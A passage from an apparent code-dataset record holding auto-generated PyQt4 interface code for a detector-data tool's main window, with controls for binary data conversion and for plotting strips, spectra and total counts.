QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox_2.sizePolicy().\n hasHeightForWidth())\n self.groupBox_2.setSizePolicy(sizePolicy)\n self.groupBox_2.setMinimumSize(QtCore.QSize(100, 225))\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox_2.setFont(font)\n self.groupBox_2.setAutoFillBackground(True)\n self.groupBox_2.setObjectName(_fromUtf8('groupBox_2'))\n self.horizontalLayoutWidget_4 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_4.setGeometry(QtCore.QRect(17, 25, 591, 32)\n )\n self.horizontalLayoutWidget_4.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_4'))\n self.horizontalLayout_6 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_4)\n self.horizontalLayout_6.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_6.setObjectName(_fromUtf8('horizontalLayout_6'))\n self.label_3 = QtGui.QLabel(self.horizontalLayoutWidget_4)\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8('label_3'))\n self.horizontalLayout_6.addWidget(self.label_3)\n self.browserButton_4 = QtGui.QPushButton(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_4.sizePolicy().\n hasHeightForWidth())\n self.browserButton_4.setSizePolicy(sizePolicy)\n self.browserButton_4.setObjectName(_fromUtf8('browserButton_4'))\n self.horizontalLayout_6.addWidget(self.browserButton_4)\n self.loadButton = QtGui.QPushButton(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.loadButton.sizePolicy().\n hasHeightForWidth())\n self.loadButton.setSizePolicy(sizePolicy)\n self.loadButton.setObjectName(_fromUtf8('loadButton'))\n self.horizontalLayout_6.addWidget(self.loadButton)\n self.filePathEdit_4 = QtGui.QLineEdit(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_4.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_4.setSizePolicy(sizePolicy)\n self.filePathEdit_4.setMinimumSize(QtCore.QSize(300, 30))\n self.filePathEdit_4.setObjectName(_fromUtf8('filePathEdit_4'))\n self.horizontalLayout_6.addWidget(self.filePathEdit_4)\n self.horizontalLayoutWidget_2 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_2.setGeometry(QtCore.QRect(17, 63, 481, 29)\n )\n self.horizontalLayoutWidget_2.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_2'))\n self.horizontalLayout_2 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_2)\n self.horizontalLayout_2.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_2.setObjectName(_fromUtf8('horizontalLayout_2'))\n self.label_4 = QtGui.QLabel(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label_4.sizePolicy().\n hasHeightForWidth())\n self.label_4.setSizePolicy(sizePolicy)\n self.label_4.setObjectName(_fromUtf8('label_4'))\n self.horizontalLayout_2.addWidget(self.label_4)\n self.comboBox = QtGui.QComboBox(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox.sizePolicy().\n hasHeightForWidth())\n self.comboBox.setSizePolicy(sizePolicy)\n self.comboBox.setObjectName(_fromUtf8('comboBox'))\n self.horizontalLayout_2.addWidget(self.comboBox)\n self.plotButton = QtGui.QPushButton(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotButton.sizePolicy().\n hasHeightForWidth())\n self.plotButton.setSizePolicy(sizePolicy)\n self.plotButton.setObjectName(_fromUtf8('plotButton'))\n self.horizontalLayout_2.addWidget(self.plotButton)\n self.horizontalLayoutWidget_3 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_3.setGeometry(QtCore.QRect(17, 100, 481,\n 29))\n self.horizontalLayoutWidget_3.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_3'))\n self.horizontalLayout_3 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_3)\n self.horizontalLayout_3.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_3.setObjectName(_fromUtf8('horizontalLayout_3'))\n self.label_5 = QtGui.QLabel(self.horizontalLayoutWidget_3)\n self.label_5.setObjectName(_fromUtf8('label_5'))\n self.horizontalLayout_3.addWidget(self.label_5)\n self.comboBox_R1 = QtGui.QComboBox(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_R1.sizePolicy().\n hasHeightForWidth())\n self.comboBox_R1.setSizePolicy(sizePolicy)\n self.comboBox_R1.setMinimumSize(QtCore.QSize(0, 0))\n self.comboBox_R1.setObjectName(_fromUtf8('comboBox_R1'))\n self.horizontalLayout_3.addWidget(self.comboBox_R1)\n self.label = QtGui.QLabel(self.horizontalLayoutWidget_3)\n self.label.setEnabled(False)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label.sizePolicy().\n hasHeightForWidth())\n self.label.setSizePolicy(sizePolicy)\n self.label.setMinimumSize(QtCore.QSize(30, 0))\n self.label.setMaximumSize(QtCore.QSize(30, 29))\n font = QtGui.QFont()\n font.setBold(True)\n font.setItalic(True)\n font.setUnderline(False)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setAutoFillBackground(True)\n self.label.setLineWidth(5)\n self.label.setAlignment(QtCore.Qt.AlignCenter)\n self.label.setObjectName(_fromUtf8('label'))\n self.horizontalLayout_3.addWidget(self.label)\n self.comboBox_R2 = QtGui.QComboBox(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_R2.sizePolicy().\n hasHeightForWidth())\n self.comboBox_R2.setSizePolicy(sizePolicy)\n self.comboBox_R2.setObjectName(_fromUtf8('comboBox_R2'))\n self.horizontalLayout_3.addWidget(self.comboBox_R2)\n self.plotRangeButton = QtGui.QPushButton(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotRangeButton.sizePolicy().\n hasHeightForWidth())\n self.plotRangeButton.setSizePolicy(sizePolicy)\n self.plotRangeButton.setObjectName(_fromUtf8('plotRangeButton'))\n self.horizontalLayout_3.addWidget(self.plotRangeButton)\n self.horizontalLayoutWidget_7 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_7.setGeometry(QtCore.QRect(17, 140, 481,\n 29))\n self.horizontalLayoutWidget_7.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_7'))\n self.horizontalLayout_5 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_7)\n self.horizontalLayout_5.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_5.setObjectName(_fromUtf8('horizontalLayout_5'))\n self.label_8 = QtGui.QLabel(self.horizontalLayoutWidget_7)\n self.label_8.setObjectName(_fromUtf8('label_8'))\n self.horizontalLayout_5.addWidget(self.label_8)\n self.comboBox_2 = QtGui.QComboBox(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_2.sizePolicy().\n hasHeightForWidth())\n self.comboBox_2.setSizePolicy(sizePolicy)\n self.comboBox_2.setObjectName(_fromUtf8('comboBox_2'))\n self.horizontalLayout_5.addWidget(self.comboBox_2)\n self.checkBox = QtGui.QCheckBox(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.checkBox.sizePolicy().\n hasHeightForWidth())\n self.checkBox.setSizePolicy(sizePolicy)\n self.checkBox.setObjectName(_fromUtf8('checkBox'))\n self.horizontalLayout_5.addWidget(self.checkBox)\n self.plotImageButton = QtGui.QPushButton(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotImageButton.sizePolicy().\n hasHeightForWidth())\n self.plotImageButton.setSizePolicy(sizePolicy)\n self.plotImageButton.setMinimumSize(QtCore.QSize(80, 15))\n self.plotImageButton.setObjectName(_fromUtf8('plotImageButton'))\n self.horizontalLayout_5.addWidget(self.plotImageButton)\n self.clearPlotButton = QtGui.QPushButton(self.groupBox_2)\n self.clearPlotButton.setGeometry(QtCore.QRect(520, 140, 85, 50))\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.clearPlotButton.sizePolicy().\n hasHeightForWidth())\n self.clearPlotButton.setSizePolicy(sizePolicy)\n self.clearPlotButton.setMinimumSize(QtCore.QSize(80, 50))\n self.clearPlotButton.setObjectName(_fromUtf8('clearPlotButton'))\n self.horizontalLayoutWidget = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget.setGeometry(QtCore.QRect(17, 180, 481, 29))\n self.horizontalLayoutWidget.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget'))\n self.horizontalLayout = QtGui.QHBoxLayout(self.horizontalLayoutWidget)\n self.horizontalLayout.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout.setObjectName(_fromUtf8('horizontalLayout'))\n self.label_9 = QtGui.QLabel(self.horizontalLayoutWidget)\n self.label_9.setObjectName(_fromUtf8('label_9'))\n self.horizontalLayout.addWidget(self.label_9)\n self.pushButton = QtGui.QPushButton(self.horizontalLayoutWidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.pushButton.sizePolicy().\n hasHeightForWidth())\n self.pushButton.setSizePolicy(sizePolicy)\n self.pushButton.setMinimumSize(QtCore.QSize(80, 15))\n self.pushButton.setObjectName(_fromUtf8('pushButton'))\n self.horizontalLayout.addWidget(self.pushButton)\n self.plotStripsButton = QtGui.QPushButton(self.horizontalLayoutWidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotStripsButton.sizePolicy().\n hasHeightForWidth())\n self.plotStripsButton.setSizePolicy(sizePolicy)\n self.plotStripsButton.setMinimumSize(QtCore.QSize(80, 15))\n self.plotStripsButton.setObjectName(_fromUtf8('plotStripsButton'))\n self.horizontalLayout.addWidget(self.plotStripsButton)\n self.verticalLayout.addWidget(self.groupBox_2)\n MainWindow.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(MainWindow)\n self.statusbar.setObjectName(_fromUtf8('statusbar'))\n MainWindow.setStatusBar(self.statusbar)\n self.toolBar = QtGui.QToolBar(MainWindow)\n self.toolBar.setObjectName(_fromUtf8('toolBar'))\n MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar)\n self.menuBar = QtGui.QMenuBar(MainWindow)\n self.menuBar.setGeometry(QtCore.QRect(0, 0, 661, 22))\n self.menuBar.setObjectName(_fromUtf8('menuBar'))\n MainWindow.setMenuBar(self.menuBar)\n self.actionOpen = QtGui.QAction(MainWindow)\n self.actionOpen.setVisible(True)\n self.actionOpen.setObjectName(_fromUtf8('actionOpen'))\n self.actionQuit = QtGui.QAction(MainWindow)\n self.actionQuit.setObjectName(_fromUtf8('actionQuit'))\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUi(self, MainWindow):\n MainWindow.setWindowTitle(_translate('MainWindow', 'MainWindow', None))\n self.groupBox_3.setTitle(_translate('MainWindow', 'PLOT WINDOW', None))\n self.groupBox.setTitle(_translate('MainWindow',\n ' BINARY DATA CONVERSION', None))\n self.label_7.setText(_translate('MainWindow', ' OUTPUT FILE ', None))\n self.browserButton_7.setText(_translate('MainWindow', 'Browse', None))\n self.filePathEdit_7.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\', None))\n self.label_11.setText(_translate('MainWindow', ' DECODER FILE', None))\n self.browserButton.setText(_translate('MainWindow', 'Browse', None))\n self.filePathEdit_3.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\qtGSD\\\\gsd_parse.out', None))\n self.label_12.setText(_translate('MainWindow', ' INPUT FILE ',\n None))\n self.browserButton_3.setText(_translate('MainWindow', 'Browse', None))\n self.filePathEdit_5.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\', None))\n self.runButton.setText(_translate('MainWindow', 'Run', None))\n self.groupBox_2.setTitle(_translate('MainWindow', ' PLOT DATA', None))\n self.label_3.setText(_translate('MainWindow', ' DATA FILE ', None))\n self.browserButton_4.setText(_translate('MainWindow', 'Browse', None))\n self.loadButton.setText(_translate('MainWindow', 'Load', None))\n self.filePathEdit_4.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\', None))\n self.label_4.setText(_translate('MainWindow', ' PLOT STRIP ', None))\n self.plotButton.setText(_translate('MainWindow', 'Plot', None))\n self.label_5.setText(_translate('MainWindow', ' PLOT SERIES', None))\n self.label.setText(_translate('MainWindow', 'to', None))\n self.plotRangeButton.setText(_translate('MainWindow', 'Plot', None))\n self.label_8.setText(_translate('MainWindow',\n ' PLOT SPECTRA AS 2-D IMAGE', None))\n self.checkBox.setText(_translate('MainWindow', 'Log', None))\n self.plotImageButton.setText(_translate('MainWindow', 'Plot Image',\n None))\n self.clearPlotButton.setText(_translate('MainWindow', 'Clear', None))\n self.label_9.setText(_translate('MainWindow',\n ' PLOT TOTAL COUNTS vs STRIP', None))\n self.pushButton.setText(_translate('MainWindow', 'Update', None))\n self.plotStripsButton.setText(_translate('MainWindow',\n 'Plot Strips', None))\n self.toolBar.setWindowTitle(_translate('MainWindow', 'toolBar', None))\n self.actionOpen.setText(_translate('MainWindow', 'Open', None))\n self.actionQuit.setText(_translate('MainWindow', 'Quit', None))\n",
"step-4": "from PyQt4 import QtCore, QtGui\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n\n def _fromUtf8(s):\n return s\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\n\nclass Ui_MainWindow(object):\n\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(_fromUtf8('MainWindow'))\n MainWindow.resize(661, 728)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.\n QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(MainWindow.sizePolicy().\n hasHeightForWidth())\n MainWindow.setSizePolicy(sizePolicy)\n MainWindow.setMinimumSize(QtCore.QSize(100, 100))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n MainWindow.setFont(font)\n MainWindow.setAutoFillBackground(False)\n MainWindow.setTabShape(QtGui.QTabWidget.Rounded)\n self.centralwidget = QtGui.QWidget(MainWindow)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.centralwidget.sizePolicy().\n hasHeightForWidth())\n self.centralwidget.setSizePolicy(sizePolicy)\n self.centralwidget.setMinimumSize(QtCore.QSize(100, 100))\n self.centralwidget.setMaximumSize(QtCore.QSize(1000, 1000))\n self.centralwidget.setObjectName(_fromUtf8('centralwidget'))\n self.verticalLayout = QtGui.QVBoxLayout(self.centralwidget)\n self.verticalLayout.setObjectName(_fromUtf8('verticalLayout'))\n self.groupBox_3 = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.\n QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox_3.sizePolicy().\n hasHeightForWidth())\n self.groupBox_3.setSizePolicy(sizePolicy)\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox_3.setFont(font)\n self.groupBox_3.setLayoutDirection(QtCore.Qt.LeftToRight)\n self.groupBox_3.setAutoFillBackground(True)\n self.groupBox_3.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt.\n AlignLeft | QtCore.Qt.AlignVCenter)\n self.groupBox_3.setObjectName(_fromUtf8('groupBox_3'))\n self.gridLayout = QtGui.QGridLayout(self.groupBox_3)\n self.gridLayout.setSizeConstraint(QtGui.QLayout.SetNoConstraint)\n self.gridLayout.setObjectName(_fromUtf8('gridLayout'))\n self.MainVertLayout = QtGui.QVBoxLayout()\n self.MainVertLayout.setSizeConstraint(QtGui.QLayout.SetMaximumSize)\n self.MainVertLayout.setContentsMargins(-1, 10, -1, -1)\n self.MainVertLayout.setSpacing(0)\n self.MainVertLayout.setObjectName(_fromUtf8('MainVertLayout'))\n self.gridLayout.addLayout(self.MainVertLayout, 0, 0, 1, 1)\n self.verticalLayout.addWidget(self.groupBox_3)\n self.groupBox = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox.sizePolicy().\n hasHeightForWidth())\n self.groupBox.setSizePolicy(sizePolicy)\n self.groupBox.setMinimumSize(QtCore.QSize(100, 200))\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox.setFont(font)\n self.groupBox.setWhatsThis(_fromUtf8(''))\n self.groupBox.setObjectName(_fromUtf8('groupBox'))\n self.horizontalLayoutWidget_6 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_6.setGeometry(QtCore.QRect(17, 101, 594,\n 32))\n self.horizontalLayoutWidget_6.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_6'))\n self.horizontalLayout_9 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_6)\n self.horizontalLayout_9.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_9.setObjectName(_fromUtf8('horizontalLayout_9'))\n self.label_7 = QtGui.QLabel(self.horizontalLayoutWidget_6)\n self.label_7.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_7.setFont(font)\n self.label_7.setObjectName(_fromUtf8('label_7'))\n self.horizontalLayout_9.addWidget(self.label_7)\n self.browserButton_7 = QtGui.QPushButton(self.horizontalLayoutWidget_6)\n self.browserButton_7.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_7.sizePolicy().\n hasHeightForWidth())\n self.browserButton_7.setSizePolicy(sizePolicy)\n self.browserButton_7.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton_7.setObjectName(_fromUtf8('browserButton_7'))\n self.horizontalLayout_9.addWidget(self.browserButton_7)\n self.filePathEdit_7 = QtGui.QLineEdit(self.horizontalLayoutWidget_6)\n self.filePathEdit_7.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_7.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_7.setSizePolicy(sizePolicy)\n self.filePathEdit_7.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_7.setObjectName(_fromUtf8('filePathEdit_7'))\n self.horizontalLayout_9.addWidget(self.filePathEdit_7)\n self.horizontalLayoutWidget_9 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_9.setGeometry(QtCore.QRect(17, 25, 592, 32)\n )\n self.horizontalLayoutWidget_9.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_9'))\n self.horizontalLayout_10 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_9)\n self.horizontalLayout_10.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_10.setObjectName(_fromUtf8('horizontalLayout_10')\n )\n self.label_11 = QtGui.QLabel(self.horizontalLayoutWidget_9)\n self.label_11.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_11.setFont(font)\n self.label_11.setObjectName(_fromUtf8('label_11'))\n self.horizontalLayout_10.addWidget(self.label_11)\n self.browserButton = QtGui.QPushButton(self.horizontalLayoutWidget_9)\n self.browserButton.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton.sizePolicy().\n hasHeightForWidth())\n self.browserButton.setSizePolicy(sizePolicy)\n self.browserButton.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton.setObjectName(_fromUtf8('browserButton'))\n self.horizontalLayout_10.addWidget(self.browserButton)\n self.filePathEdit_3 = QtGui.QLineEdit(self.horizontalLayoutWidget_9)\n self.filePathEdit_3.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_3.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_3.setSizePolicy(sizePolicy)\n self.filePathEdit_3.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_3.setObjectName(_fromUtf8('filePathEdit_3'))\n self.horizontalLayout_10.addWidget(self.filePathEdit_3)\n self.horizontalLayoutWidget_10 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_10.setGeometry(QtCore.QRect(17, 63, 592,\n 32))\n self.horizontalLayoutWidget_10.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_10'))\n self.horizontalLayout_11 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_10)\n self.horizontalLayout_11.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_11.setObjectName(_fromUtf8('horizontalLayout_11')\n )\n self.label_12 = QtGui.QLabel(self.horizontalLayoutWidget_10)\n self.label_12.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_12.setFont(font)\n self.label_12.setObjectName(_fromUtf8('label_12'))\n self.horizontalLayout_11.addWidget(self.label_12)\n self.browserButton_3 = QtGui.QPushButton(self.horizontalLayoutWidget_10\n )\n self.browserButton_3.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_3.sizePolicy().\n hasHeightForWidth())\n self.browserButton_3.setSizePolicy(sizePolicy)\n self.browserButton_3.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton_3.setObjectName(_fromUtf8('browserButton_3'))\n self.horizontalLayout_11.addWidget(self.browserButton_3)\n self.filePathEdit_5 = QtGui.QLineEdit(self.horizontalLayoutWidget_10)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_5.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_5.setSizePolicy(sizePolicy)\n self.filePathEdit_5.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_5.setObjectName(_fromUtf8('filePathEdit_5'))\n self.horizontalLayout_11.addWidget(self.filePathEdit_5)\n self.runButton = QtGui.QPushButton(self.groupBox)\n self.runButton.setGeometry(QtCore.QRect(520, 140, 85, 50))\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.runButton.sizePolicy().\n hasHeightForWidth())\n self.runButton.setSizePolicy(sizePolicy)\n self.runButton.setMinimumSize(QtCore.QSize(80, 50))\n self.runButton.setIconSize(QtCore.QSize(24, 24))\n self.runButton.setObjectName(_fromUtf8('runButton'))\n self.verticalLayout.addWidget(self.groupBox)\n self.groupBox_2 = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox_2.sizePolicy().\n hasHeightForWidth())\n self.groupBox_2.setSizePolicy(sizePolicy)\n self.groupBox_2.setMinimumSize(QtCore.QSize(100, 225))\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox_2.setFont(font)\n self.groupBox_2.setAutoFillBackground(True)\n self.groupBox_2.setObjectName(_fromUtf8('groupBox_2'))\n self.horizontalLayoutWidget_4 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_4.setGeometry(QtCore.QRect(17, 25, 591, 32)\n )\n self.horizontalLayoutWidget_4.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_4'))\n self.horizontalLayout_6 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_4)\n self.horizontalLayout_6.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_6.setObjectName(_fromUtf8('horizontalLayout_6'))\n self.label_3 = QtGui.QLabel(self.horizontalLayoutWidget_4)\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8('label_3'))\n self.horizontalLayout_6.addWidget(self.label_3)\n self.browserButton_4 = QtGui.QPushButton(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_4.sizePolicy().\n hasHeightForWidth())\n 